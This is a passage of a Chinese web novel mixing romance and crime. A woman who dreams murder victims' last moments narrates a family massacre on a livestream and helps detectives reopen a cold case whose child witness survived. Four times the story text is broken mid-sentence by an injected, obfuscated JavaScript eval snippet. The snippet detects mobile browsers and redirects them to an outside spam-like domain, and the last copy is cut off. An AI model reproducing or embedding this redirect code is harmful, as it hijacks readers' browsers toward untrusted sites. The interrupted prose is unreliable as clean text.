秦朗转头看了她一眼,然后把空调的温度调高了一些,满脸的不赞同:“外面这么冷,怎么在楼下等?”
“嘿嘿,我想着毕竟是秦队你来接我嘛,还让你等我,那多不好意思。”江林夕不好意思地笑了笑,秦队都特意来接自己了,总不能真让人家在楼下等半天吧。
“下次你在家等我吧,我到了给你打电话。”说完,秦朗转回身启动车子出发了。
嗯?下次?什么下次?这么一句话,江林夕只觉得下次这两个字在脑海里不断的放大,他这话是什么意思?下次在家等车?还是下次一起逛超市?
胡思乱想的江林夕,选择闭上眼睛,让自己清空一下脑袋。很快,她就要后悔做出这个决定了。
随着车子的行驶,江林夕的眼皮越来越重,头也在不知不觉间抵到了车窗上,意识逐渐模糊……
“到了。”
随着秦朗声音响起,江林夕有些茫然地睁开了眼睛,发现自己身上不知道什么时候盖着秦朗今天穿的那件深色外套。
江林夕瞬间清醒,猛地坐直身体,热气瞬间冲上脸颊,她手忙脚乱的把外套还给秦朗:“谢谢秦队。”
“走吧,”秦朗接过衣服,随意的套回自己身上,衣服上属于江林夕的皂角香气扑鼻而来。秦朗脸上没什么表情,可是如果细细观察,是可以看到他不自然的滚烫耳后根。当然,这一切都没有被现在正手足无措的江林夕看到。
-----------------
什么叫越急越乱,江林夕现在就是。
刚进超市,慌慌张张的江林夕随便推了一辆购物车准备采购,秦朗刚准备说他来推。江林夕就一不小心,把购物车撞到秦朗身上。
“啊!对不起秦队。”江林夕满脸不好意的想要倒车。
也不知道是她比较倒霉,还是秦朗比较倒霉。
没想到,不听使唤的购物车车轮又一次压到了秦朗的鞋尖。
连受两次攻击的秦朗面色不变,只是伸手轻轻扶住了购物车前面,帮她稳住方向,声音平静,听不出丝毫责怪:“没事,走吧。”
江林夕:“……”更不好意思了怎么办。
连续两次的精准打击,还是同一个受害者。
江林夕,你是来买日用品的还是来谋害刑警队长的啊!
现在的她恨不得自己是个鸵鸟,可以把脸埋到沙地里。只能期望后面顺顺利利,千万别再出幺蛾子了,至少,别再冲着秦队了,行不行!
深吸一口气,江林夕努力让自己镇定下来。好在常年独自生活的她,一旦开始采买东西就变得如鱼得水了。
她先是目标明确往生活用品区域方向走去,秦朗推着购物车走在她身侧,在他一再要求下,作为“凶器”的购物车被迫从江林夕手上移交给了秦朗。
“秦队,太好了!这个牌子的纸巾在做买一送一的活动!”江林夕一脸惊喜的拿起一提纸巾,献宝似的朝秦朗晃了晃,兴奋的说道:“我跟你说,别看它包装简单,但是它超级好用的!吸水性超强,而且柔软不扎脸,关键算下来每抽都要比旁边这个花里胡哨的便宜一块五呢!”
秦朗看着她分析得头头是道的样子,嘴角忍不住微微上扬,还没来得及做出反应。江林夕又像是被按了快进键一样,“嗖”的一下子飞快地蹿到了旁边洗衣液货架。
“天呐!这个洗衣液今天居然有满减!”她掏出手机,打开计算机飞快的计算着,嘴里还在念念有词:“这东西耐放,可以买两个大瓶送一个小瓶,再用优惠卷……”她看着计算机上闪亮的价格,毫不犹豫地抱起两个大瓶洗衣液放进了购物车,脸上洋溢着灿烂地笑容。
秦朗看着几乎占满小半个购物车的洗衣液,刚想开口,江林夕又一次风风火火地转向清洁用品区域。
“哇!秦队你看!厨房纸也在做活动呢!可以直接囤一大箱慢慢用。”一边说着她一边准备去搬看上去比她还沉的纸箱。
“我来。”这次秦朗终于是插上话了,轻轻拿起那箱体积可观的厨房纸,稳稳地放到购物车里。
他看着购物车里迅速堆积起来的“战利品”,又看着旁边的江林夕,越发觉得陪她逛超市,是他近期做过最有意思的决定。
“啊啊啊!秦队!快!跟我来!”江林夕突然压低声音,像是发现了什么重大秘密,一把抓过秦朗的衣袖,拉着他就往生鲜区冲。
秦朗被她拉着,推着沉重的购物车,有些哭笑不得地跟上。
只见江林夕目标明确地冲到一处围了一堆人的冷柜前,她迅速的挤了进去,在人群里消失的无影无踪。
不出几秒,人群里就听见她传来的兴奋的声音。紧接着,就看见熟悉的身影从人缝中钻了出来,手上还拿着两份贴着显眼特价标签的牛排。
她小跑回到秦朗面前,抬手抹了把并不存在的汗,带着毫不掩饰的得意:“原价二百九十九!现在只要九十九!还是两份!”刚说完又窜了出去。
秦朗看着她活力四射的背影,眼里透露出清晰的笑意,迈开腿,再次乐在其中的跟上了她的节奏。
……
把超市买的两大包东西放到车上后,江林夕又回味了一下今天战绩斐然的采购之旅,心满意足的长舒一口气~之前各种尴尬的事情早就被她抛到脑后了。
就在这时,她像是想起了什么,低头在自己带的帆布包里翻找。
“对了,秦队,这个给你。”她掏出一个包装简洁的盒子,双手递到秦朗面前,脸上带着感激和一点点不好意思的笑容。
秦朗低头看去,那是一只护手霜。
见他目光中带着一丝询问,江林夕语气真诚的说道:“今天真的麻烦你了,陪我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536656|186587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
折腾这么久,这个是谢礼,不可以拒绝!”
“谢谢你的礼物,我很喜欢。”秦朗看着她真诚笑容,伸手接过了那份并不昂贵却心意十足的礼物。
见他收下,江林夕脸上的笑容越发的灿烂:“好!下一站!去吃早餐!”
-----------------
“张阿姨!珂珂!”江林夕熟门熟路地打着招呼,脸上带着轻松的笑意。
正在锅前忙碌的张阿姨抬起头,布满细纹的脸上带着慈祥的笑容:“小江来啦,还是小碗……”她的话语随着看到江林夕身后的秦朗时,戛然而止。
坐在旁边小凳子上帮忙的珂珂也愣住了,下意识地站了起来,有些手足无措的喊了一声:“秦警官?”
她们都记得秦朗……帮他们查出真相的警官。
气氛有了一刹那的凝固。
江林夕立刻察觉到了,她往前站了半步,脸上笑容不变,调皮地眨了眨眼:“张阿姨,今天我可是有钱人了,小份可不行。还有秦警官那份儿,我也包了,两碗大碗馄饨加个鸡蛋。”
秦朗神色未变,态度平和的打了声招呼。
张阿姨率先回过神来,连忙应道:“哎~好好好,我们小江今天阔气了。”她手脚麻利地擦了擦最近的一张空桌子:“快坐快坐。”
“谢谢张阿姨。”说完两人在桌边坐下。
珂珂也默默坐回了小板凳,眼神忍不住偷偷往这边瞟。
热腾腾的馄饨很快端了上来,大骨炖的汤底,皮薄馅大的馄饨,上面还卧着一个荷包蛋。
“快尝尝,可惜你不太能吃辣,张阿姨这的辣椒油都是自己炸的,可香了。”江林夕一边说着,一边熟练地往自己碗里加了一小勺辣椒油,然后舀起一个吹着热气,满足地吃了起来。
秦朗拿着勺子的手顿住了,有些诧异地看向她,他很确定自己从来没有和别人说过不能吃辣这件事,她又是怎么知道的?
被他这么一看,江林夕才后知后觉地想起自己说了什么,她怎么顺口就把平时观察的,秦朗这些生活小细节给说出来了?
为了掩饰,她赶紧补充了一句:“那什么,我瞎猜的……”然后赶紧低头,装作一副专心吃馄饨的样子。
秦朗带着笑意,拿起勺子,也舀起了一个馄饨,平静接话:“嗯,猜的挺准的。”
张阿姨忙完一阵,擦着手走过来,看着秦朗,带着小心翼翼询问:“秦警官,味道怎么样。”
秦朗吃的已经差不多了,神色温和:“很好吃,汤鲜,馅料也实在,以后我会常来的。”
等江林夕吃完收拾好东西,临走前秦朗目光认真的看向张阿姨,开口:“张阿姨,往前看,只要你们好好的,“我们”就放心了。”
张阿姨听着这话,眼圈瞬间就红了,她用力眨了眨眼,连连点头:“我们……我们一定好好的,您和小江,你们也要常来啊。”
珂珂也在一旁用力点头。
走在回停车场的路上,江林夕侧头看向身边的秦朗,带着笑意:“谢谢你,秦队。”
秦朗脚步未停,只是侧眸看了她一眼。
今天早上的阳光不算刺眼,当他的目光转过来时,江林夕清晰地看见,那双总是显得冷静的眼眸,透着阳光时竟然散发着细碎的光芒。
江林夕模模糊糊的想着,这真是一个不错的早晨。
19. 第三次助眠直播
零点,夜梦直播间准时开播。
“今天的助眠故事叫做躲猫猫。”
江林夕像往常一样坐在椅子上,裹着一张栗色毛茸茸的毯子,身体微微蜷缩。她没有看镜头,视线低垂,手指无意识的揪着毯子上的流苏,不停的缠绕、松开、缠绕、松开。
“梦里我搂着一个巨大的小熊玩偶,正坐在客厅沙发上看电视,电视里放着我最喜欢的动画片。”
“就在我准备关电视的时候,听到了敲门声,很轻也很有礼貌的样子。”
“我回头看了眼吵闹的卧室,发现没有人出来,便跳下沙发走到门口。小声的问了一句:你是谁?”
“敲门的人没有回答,依旧不急不忙的敲着门。我不明白为什么那个人不回答我的问题,所以我只好踮起脚尖,费了好大的劲拧开了门锁,想要看看究竟是谁。”
“门打开,外面站着一个穿着深色连帽衫的人,他的个子高高的,好奇怪,他的脸上开满了花,完全看不清他长什么样。但是还是可以看到他弯弯的嘴角,好像是在笑,他看上去是一个好人。”
“然后他把一根手指竖在自己的嘴唇前,做了一个“嘘”的动作,眼神里带着俏皮,好像在跟我玩游戏一样。”
“我觉得很有趣,也学着他的样子,把手竖到自己嘴巴面前,嘘~”江林夕说完,也模仿了同样的动作,看上去一派天真。
【困困锅:脸上开满了花是啥意思啊?】
【灵异爱好者桃可可:今天助眠故事,主角是小孩子吗?】
【吃瓜小鱼:别开门!不要哇!这剧情不对啊!典型的凶案开场!】
【路过的和平使者:爸爸妈妈呢?在房间干啥呢?让小孩子自己一个人在客厅,开门了都不知道。】
“那个人脸上的嘴角咧的更大了,他侧身挤进了门,反手轻轻的把门关上,全程没有发出什么声音。然后他在我面前蹲了下来,我只觉得他好香啊。”
“他压低声音,神神秘秘的开口。我们来玩个游戏,好不好?”
“我歪了歪头好奇的问他:什么游戏啊?”
“躲猫猫。”
“他指了指客厅,说道:你去客厅,面对墙,闭上眼睛。然后乖乖的数到一百……不,数很多很多下,一直到我来找你为止。不可以偷看哦,作弊可就算输咯。”
“我兴奋极了!躲猫猫是我最喜欢的游戏,所以我赶紧抱着手里的小熊乖乖的面对墙壁站好。我把眼睛闭得紧紧的,生怕他说我作弊,那就输了。”
【困困锅:不对!我不是来找助眠直播的吗,怎么跑恐怖直播了!算了,快跑啊,孩砸!】
【啥都知道一点:躲猫猫,他这是要把孩子支开,方便作案吧?】
【困困锅关注了主播】
“一、二、三、四……”
“这时电视机里动画片传来了欢快的歌声:我们一家人,永远不分离~”
“十五、十六、十七……”
“我听到爷爷房间的方向传来很小的,像是闷在被子里咳嗽的声音,但是很快就没有了。”
“二十、二十一、二十二……”
“我听到爸爸妈妈吵闹的声音突然消失了,有什么东西砸在了地上,“砰”的一声,超级响。我想回头,但是想起那个人说的不可以作弊,又忍住了,我是个听话的好孩子。”
【困困锅:你这个时候就听话了!别数了!赶紧跑!】
【吃瓜小鱼:所以,她爸妈刚刚是在吵架吗?然后就被……】
【啥都知道一点:爷爷闷的声音应该是在睡觉的时候被杀死了?】
“三十五、三十六、三十七……”
“空气里开始弥漫一种很奇怪的味道,越来越浓,我皱了皱鼻子,有点难闻。”
“七十八、七十九、八十……”
“我数的越来越慢,四周变得好安静,只有我自己数数的声音。”江林夕说话的声音越来越小。
“终于,我数到了一个“很多很多”的数字,我期待的问:我数完啦,你藏好了吗?”
“可是很奇怪,没有人回答。我乖乖的闭着眼睛等了一会儿,还是没有人来找我。不对呀,躲猫猫不该是这样的。我转过身,小心翼翼地睁开眼睛。”
“客厅的灯不知道什么时候被关了,好暗啊,只有电视机散发的光芒。周围奇怪的味道实在是太难闻了,弄得我都想咳嗽了。”
“就在这个时候电视机里,动画片的小熊对小兔子说:快跑呀!快跑呀!躲起来!千万不要被抓住!”
“爸爸妈妈卧室的门被撞开来了,妈妈从里面冲了出来。她的头发乱糟糟的,身上的睡衣红红的一大片,她一边喊着“宝宝”一边扑过来。”
“我从来没有看过妈妈这个样子,好可怕呀,我被吓得只能呆呆地站在原地,看着妈妈往我这边跑来。”
【吃瓜小鱼:妈妈……我真的要泪崩了。】
【一只小透明:母爱啊,最后时刻妈妈还是想保护自己孩子,我哭了。】
“妈妈没能跑到我身边。那个穿深色连帽衫的人,也从卧室里跟了出来。他的动作好快啊,几步就追上了妈妈,伸出了手。”
“我看见他手里有个亮晶晶的东西,飞快地往前戳了一下。妈妈向我这扑的身子猛地一顿,她软软地倒在地上,就躺在离我几步路的地板上,再也不动了。”
“有好多好多的红色,从妈妈身上流了出来。”
“妈妈?”
“我看着躺在地板上的妈妈,完全没有办法理解。妈妈这是怎么了?是睡觉了吗?可是为什么不回床上睡觉呢?会着凉的。”
“我抱着小熊玩偶,困惑抬头,望向穿深色连帽衫的人。”
“他也正在看我。”
“然后,他露出一个微笑,又做出了和刚才进门时一模一样的动作。他慢慢的把那根竖起的手指,再次贴到了自己的嘴唇上。”
“嘘……”
镜头里江林夕再度做出“嘘”的动作,她眼睛睁得很大,大的可以从瞳孔里可以清晰得看到里面流露出的恐惧
“我看到他脸上的花越开越大,越开越大……”
“我的眼前随之一黑……”
“电视机里的动画片也放到了结尾,里面欢声唱着:明天又是新的一天,阳光会
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536657|186587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
照亮每个角落……”
【困困锅:有没有人告诉我,脸上的花究竟是什么呀!我快好奇到失眠了!】
【啥都知道一点:我个人觉得,脸上的花可能是血,也可能是小孩的幻觉,毕竟孩子的大脑是没有办法处理这么复杂的事情。不过,总觉得这次的故事好像在哪里听过……】
【胆小如米老鼠:话说,没人觉得动画片的歌词简直是地狱级的吗!】
【吃瓜小鱼:等等,楼上的你不是说不来了吗?怎么次次都到】
【胆小如米老鼠:咳咳,不知道你在说什么】
江林夕看到“啥都知道一点”发的条弹幕眼神微闪,和观众们稍微聊了几句,结束前照旧说了那句结束语:“祝你们做个好梦,晚安。”
-----------------
江林夕静静的坐在椅子上,深深地吸了一口气,又缓缓吐出,试图将於堵在胸口的浊气吐出去。
即便有了之前的经验,她还是不可避免的感觉恶心想吐,手指微微颤抖,强忍着拿出抽屉里早就准备的薄荷糖,塞进嘴里。
薄荷糖在她的嘴里化开,翻江倒海的恶心感也缓慢褪去。
缓过神的江林夕拿出自己的笔记本和小兔子笔,学着秦朗告诉她的尝试脱离被害者的视角,重新分析噩梦,看看能有什么线索。
首先是视角,自己全程的视线高度特别低,差不多是五六岁孩子的身高,并且心里的想法也非常的幼稚懵懂。噩梦中“我”极有可能是一个年幼的孩子,很可能是这个家庭里最小的成员。
其次是受害者,妈妈就在自己眼前受害,可以确定妈妈的死亡。然后是爷爷房间闷咳的声音,还有我是本来争吵的父母,突然没了声响,爸爸再出来过。他们两个人也很有可能是受害者,加上“我”自己。
灭门……想到这两个字,江林夕感觉自己心里越发的沉重。
最后是凶手,男性,在孩子眼中高高的,穿深色连帽衫,身上很香,脸上有“花”。
凶手哄骗幼童开门,没有选择直接动手。而是和孩子玩儿起了躲猫猫,自己在从容的进行屠杀。充分显示了凶手的冷静、控制欲极强以及傲慢。
两次出现的“嘘”声,不只是让孩子保持安静,更像是在享受极致恶作剧的快感。
凶手脸上的“花”暂时没有办法确定,血迹或者孩子的幻想,又或者其他?
写完最后一行字,江林夕放下笔,手指无意识的摩擦食指指甲边缘的翘起的死皮。
她只觉得一阵无力感,这次线索还是太模糊了,少之又少,她甚至没有想好怎么去和秦朗他们沟通。
总不能直接和秦朗说我这次噩梦,凶手是一个脸上开着花,身上香喷喷,穿着连帽衫的叔叔。犯案过程是和孩子玩躲猫猫,孩子数数,凶手趁机把他们一家四口都杀了?
江林夕拿起桌上放的加密手机,解锁。她组织了一下语言,然后给秦朗发消息:“秦队,又有新的噩梦了。明天上午我去市局找你,当面沟通。”
基本是在刚发过去的同时,秦朗的消息就回了过来,上面很简洁:
“好。”
20. 尘封的躲猫猫
江林夕一大早就赶到了市局,手里还提着一个袋子。
她踩着急促的脚步声走到秦朗办公室门口,深吸了一口气,试图把心里翻涌的焦躁压回去,然后敲响了办公室的门板。
“进。”
推开门,秦朗坐在办公桌后,电脑屏幕的光影映在他脸上,脸上挂着和江林夕同款的青色。
他抬眼看向她,目光在江林夕的脸上停顿了一下,瞬间就从她的神色中,捕捉到了那份努力掩藏的急躁。然后视线下移,定格在了她手中的袋子上,有些好奇是什么。
就见这份充满疑问的袋子被她放到了秦朗的办公桌上,江林夕干脆利落的从里面拿出咖啡、牛奶,还有一个三明治。
“秦队,我来的时候听顾晴说你们昨天又没回去,一直忙到现在,我给你带了早餐,你吃完我们再沟通吧。”说着,就把咖啡和三明治都递给了秦朗,自己拿了牛奶坐在他办公桌的对面。
秦朗看着被推到自己面前的早餐,又看了眼对面小口喝着牛奶,明显心事重重的江林夕。他也没有推辞,道了声“谢谢”,就拆开了三明治的包装。
看着吃东西的秦朗,江林夕内心的焦躁莫名的慢慢缓和下来。
秦朗吃的很快,却一点都不狼狈。三两下解决了三明治后,他拿起咖啡喝了一大口,驱散昨晚熬夜的疲惫。
他利落的把桌子收拾干净,不疾不徐的开口:“好了,开始吧。”
江林夕把牛奶放到一旁,拿出昨晚整理的笔记。开始叙述自己在噩梦中的一切,尽量摒弃受害者心理想法,努力保持客观。
全程秦朗都安静的听着,食指无意识地在桌面轻点。
等到江林夕说完,他思索了片刻,询问道:“你是说,最后受害者眼前一黑,你就失去了意识,对吧。”
“对。”江林夕闭眼回想,很确定的点了点头。
听完她的答案,秦朗没再说什么,拿起内部电话,言简意赅的说道:“顾晴,通知李叔和陈锐明,十分钟后,所有人在会议室开会。”
十分钟后,会议室内。
“江顾问,麻烦你再复述一下之前说的案发地点现场环境。”秦朗站在白板面前,语气沉稳。
江林夕努力的回想着,断断续续描述道:“犯罪现场是在受害者的家里,是一个不大的三室一厅,值得注意的是客厅是那种比较细长的过道式,玄关也很奇怪,它不是独立的那种,而是和客厅连在一起,中间有一个带波浪纹的的隔断玻璃,看起来很特别……”
陈锐明坐直身体,脱口而出:“这客厅听上去应该是九十年代末到两千年初建造的老小区啊。”
就在他说话的同时,坐在他旁边的李安把手里的保温杯放到桌上,右手食指和大拇指搓着自己的下巴,喃喃自语:“波浪纹的的隔断玻璃,九十年代。”
“而且楼与楼之间的距离特别的窄,感觉只能通过一个人,还得侧着身子。”江林夕又补充的加了一句。
“我想起来了!”李安突然一拍桌子,语气激动的说道:“我就说,刚刚听那个隔断玻璃的设计就很耳熟。之前春阳晚报和我们本地电视台专门做了个系列专题。
好像叫做《危险的筒子楼》,专门抨击九十年代末建造设计不合理的“伪单元房”。那批房子,为了把两室一厅硬改成三室一厅,客厅和玄关都是连在一起的。而且为了多赚钱,楼间距也改的特别窄。”
李安想了一下,转头对顾晴说道:“顾晴,你查一下。刚刚说的波浪纹玻璃我有印象,当时着重批评的有一家开发商,这个设计是他们家特色来着。”
闻言,顾晴立刻在自己的电脑上操作起来,她一边搜索一边快速汇报:“查到了,李叔说的没错。《危险的筒子楼》系列报道里,重点提到的“安心房地产”,他们在1996年到2003年,七年的时间集中开发了五个小区,他们家的标志设计就是波浪纹玻璃隔断,报道上还配了图。”
说完,她把找到的报道图片投屏,屏幕上模糊的老照片里,除了展示了狭长的客厅,还有一个极具辨识度,带有波浪纹路的玻璃隔断。
江林夕只是看了一眼,就很确定。这个玻璃隔断,和她在梦中看到的一模一样。
“那几个小区?”秦朗看了一眼江林夕,目光对视,确定线索是对的后,立刻追问。
“分别是安悦小区、安可苑、安和家园、和安心家园一二期。”顾晴迅速报出几个名字,并且调出了几个小区在本市地图上的位置:“基本都集中在城西老城区那边。”
秦朗目光扫过地图上被标记的地点,面向众人:“我们的目标是,寻找最近突然失联的一家四口,爷爷、爸爸、妈妈和女儿。目前已知妈妈的年纪大约三十出头的样子。”说着他又指了指地图标点:“重点排查这五个小区。”
接着秦朗干脆利落的安排几人的任务:
“顾晴,协调辖区派出所和社区网格员,以人口普查的名义,排查出这些小区里,有老人、年轻夫妻和幼童同住的家庭。”
“李叔,你和小陈分别带人,走访一下这些小区的物业、保安、周边小店这些,询问近期小区内部是否发生异常,或者有哪一户突然联系不上的情况。”
“江顾问,麻烦你把所有知道的,尽可能详细的整理成报告,等会给我。”
“收到,秦队。”江林夕、李安、陈锐明、顾晴齐声回答。
随着一声收到,江林夕偷偷的露出了一个笑容。
这一次办案感觉完全不一样了,终于自己不再是那个没事做的人了。
-----------------
可惜,一无所获。
傍晚时分,外出排查的人陆续回到了会议室,带回来的消息如出一辙:没有,什么都没有。五个目标小区里,最近都没有符合相关条件的一家四口,失联或者出事的。
会议室里的气氛比上午出发前沉闷的多了。
江林夕坐在一旁,心里那点刚燃起的参与感
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16538359|186587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和成就感,都消失殆尽。心里想着是不是自己出错了?还是说,有什么遗漏没发现。
顾晴盯着电脑屏幕上的五个小区的标点,喃喃道:“明明所有的线索都对的上啊,奇怪了……”
陈锐明泄气的趴在桌子上,抓了抓头发:“得,白跑一趟了,今天嘴皮子都磨破了,一点用都没有。秦队,咱们是不是找错方向了?”
秦朗没说话,紧蹙眉头,看着手上江林夕之前整理出来的报告。
“会不会,这不是一个近期发生的案子。”李安沙哑的声音打破了会议室的安静。
他看向秦朗:“虽然我不知道,江顾问的线索是从哪里来的,也不知道为什么必须是近期的。但是我觉得我们不应该被这些线索框死,而是应该跳出去。”
“毕竟,查案子是活的。”接着他拿起保温杯,吹了口气,抿了抿,继续道:“一个灭门惨案,这么大的案子。不可能一点风声都没有。犯罪现场处理的这么干净,如果是陈年旧案,很有可能会因为当时线索不足,或者方向错误,而被搁置了。”
李安的这番话,就像一道闪电,劈开了秦朗和江林夕的思维盲区。
对啊,因为前两个案子都是近期的。所以他们固定思维想的就是最近发生的,却忽略了,谁规定江林夕做的噩梦里面的案件一定是最近的!
如果这是一起发生在过去的悬案,那么按照他们现在去查的方式,当然一无所获。
“调整方向!”秦朗的声音斩钉截铁,果断的说道:“顾晴,立刻去搜索这五个小区十年来,造成多人死亡的恶性案件,尤其是被积压的沉案新闻报道。”
“其他人,直接看卷宗排查!江顾问,你负责辨别我们排查出的案件受害者是否一致。”
“明白!”
……
方向对了,转折来得很快。
会议室里只剩下急促的键盘敲击声和快速翻阅纸质文件的沙沙声。
“秦队,找到了!”顾晴的声音难掩激动,她指着电脑屏幕上刚刚查到的一则泛黄的电子新闻截图。“五年前,《阳光小报》的社会版面上有报道:2018年10月底,安悦小区,发生一则骇人听闻的惨案,一家四口惨遭灭门!”
她迅速把新闻报道投屏,屏幕上加粗的标题触目惊心,报道旁边还配了一张小区照片,隐约还可以看到小区外面的警戒线。
报道内容很简洁,概述了案件的发生时间、地点等等:“经警方初步勘察,安悦小区302室发现四名受害者,分别是302的户主马永良、其子马霖夫妇以及他们年仅五岁的孩子,四人皆不幸身亡,警方正在全力侦破中。”
“太可怜了……”顾晴难过的低语。
“卷宗查到了吗?”秦朗脸色沉静如水,没有再去看报道,而是问一旁的陈锐明和李安。
查阅卷宗的陈锐明抬起头,声音带着难以置信的错愕:“查到了,但是有些不对劲。”
“卷宗上,那个孩子还活着!”
21. 活着的证言
陈锐明的话就像是一颗投入平静湖面的石子,在会议室里激起了层层波纹。
“还活着?”顾晴失声惊呼,抱住江林夕的手臂下意识收紧。
一向沉稳的秦朗眼里也闪过了一丝意外,他看向听到消息后脸色苍白的江林夕,眉头微皱,继续追问:“确认吗?卷宗怎么说的?”
“确认!2018.10.23安悦小区灭门案,案发现场发现四名受害者。三名成年死者,户主马永良,也就是爷爷,是在卧室床上被发现。死亡原因:是被人用卧室里的枕头强行捂住口鼻,导致的机械性窒息死亡,面部有轻微的淤血和挣扎痕迹。”陈锐明快速地翻阅着手中那份泛黄的纸质卷宗继续说道。
“父亲马霖倒在次卧门口,脖子上有一处极深的刺创伤,切断了颈动脉,法医判断是一刀毙命。而母亲赵婉则在客厅被发现,身中三刀,两刀在胸腹,致命伤是最后一刀刺穿心脏。杀害马霖和赵婉凶器确定是丢在现场的一把单刃小刀。”
陈锐明深吸一口气:“而现场他们五岁的女儿马晓晓被锁在客厅放杂物的柜子里,被发现时马晓晓已经处于昏迷状态,生命体征微弱,经过抢救幸存。马晓晓因遭受极度惊吓和创伤,导致严重失语及自闭倾向,无法提供任何有效证词。”
陈锐明说完后,抬起头看向众人,然后补充道:“现场留下的凶器,以及现场所有可能被触碰的门把手、桌面,都被仔细清理过,没有提取到任何有价值的指纹或者生物痕迹。
警方判断,凶手行事冷静、手段残忍,且具备极强的反侦察意识,现场处理得非常专业。由于犯罪现场证据严重不足,缺乏指向性线索,这起恶性案件在历时一年多的调查后,暂停搁置……”
陈锐明全部说完,会议室内陷入了一种诡异的寂静。
秦朗率先回过神来,语气决断的说道:“顾晴!立刻查明马晓晓现在的具体情况。”
“是!”顾晴立马回到自己电脑前,双手在键盘上飞快敲击。
没一会儿的功夫,她就抬起了头,语气沉重的说道:“查到了,马晓晓因其直系亲属全部遇难,由远房亲戚接手监护,但由于身体和心理的特殊情况,现长期居住在市康宁医院的心理创伤康复中心,进行封闭式治疗。”
“康宁医院……”秦朗低声重复了一遍,手指摸索着下巴,思考片刻,秦朗迅速下达指令:
他指了指桌上的卷宗:“顾晴,你重新梳理下这个案子的档案卷宗,尤其是现场勘察报告的细节和物证,看看有没有异常点。”
“收到,秦队。”顾晴伸手将那份厚重的卷宗挪到自己面前,开始翻阅起来。
然后秦朗又对陈锐明嘱咐:“小陈,你去找一下当年负责这个案子的刑警,和他们当面了解当年侦查过程和细节。”不放心的又补充了一句:“态度客气点,听到没有?”
“收到,秦队!我这就去!”陈锐明嘴上应得干脆,人已经冲向门口,听到秦朗最后一句话,回头飞快地补充了一句:“保证客客气气的!”
“至于李叔要不麻烦你了,”秦朗转过身正对李安说道:“你去一趟安悦小区案发现场以及周边环境,重新踩踩点。顺便和小区里的老住户,尤其是可能对这个案子有印象的人聊一聊。”
李安不紧不慢地喝光了杯子里最后一口茶,这才站起身,脸上挂着那种惯有的温和笑容:“收到,秦队。走了~”
秦朗最后看向江林夕,准备安排的时候却发现她一直没说话,失神的坐在椅子上沉默无比,与会议室其他人风风火火的样子格格不入。
江林夕很庆幸马晓晓还活着,那个被哄骗引狼入室,在懵懂无知中目睹了所有至亲惨剧的孩子,她活下来了。即便是对她来说活下来是更加残酷的一件事,但至少还有未来的希望……
可是庆幸只维持了短短一瞬,随之而来的是巨大的茫然和混乱。
马晓晓还活着,那不就是说明……
她一直以来对自己做噩梦能力的认知都是错误的?她一直以为那些挥之不去的噩梦,是亡者倾诉真相的执念。可现在,一个活生生的反例就摆在眼前。
她的能力的究竟是什么?
还有,这是一个五年前的案子,做梦的时间顺序又是什么?
如果连这些最基本的东西都是模糊不清,那么她是否真的可以相信自己所看到、听到、感知的一切吗?
这一次连接到了五年前的案子,那下一次呢?会不会连接到更久远的、那些早已无法追溯的过去呢?又或者,连接到一些根本不存在、仅仅是她大脑臆想出来的场景?
江林夕脑子里一片混乱,耳边的声音像是被玻璃隔开了一样,变得模糊而又遥远。
“江林夕。”
一道沉稳冷静的声音穿透了这层无形的隔阂,清晰的传到江林夕的耳中。
江林夕猛然回神,秦朗不知道什么时候已经站在了自己面前,她无措的抬起头,正对上秦朗隐藏担忧的目光。
会议室里也不知道什么时候已经安静下来,就剩下他们两个人。
秦朗没有立刻安排江林夕的任务,而是盯着她失神的眼睛,听不出语气的问道:“你在想什么?”
他的声音很平静,但是却横冲直撞的撬开了江林夕心里的大门。
江林夕低下头,只觉得自己喉咙发涩:“我、我不知道。我一直以来对自己的能力理解是不是都是错的?我以为我感受到的是死者最后那一刻,可现在,如果人都没死,我感受到的又算什么?”
“还有,这次是五年前的案子,时间也对不上。秦队,我是不是、是不是根本就分不清,我梦到的到底是活着的人,还是已经不在的人?那么我看到的、听到的,还能信吗?”她越说越混乱,甚至忍不住哽咽,将内心最深的疑问和恐惧全盘托出。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 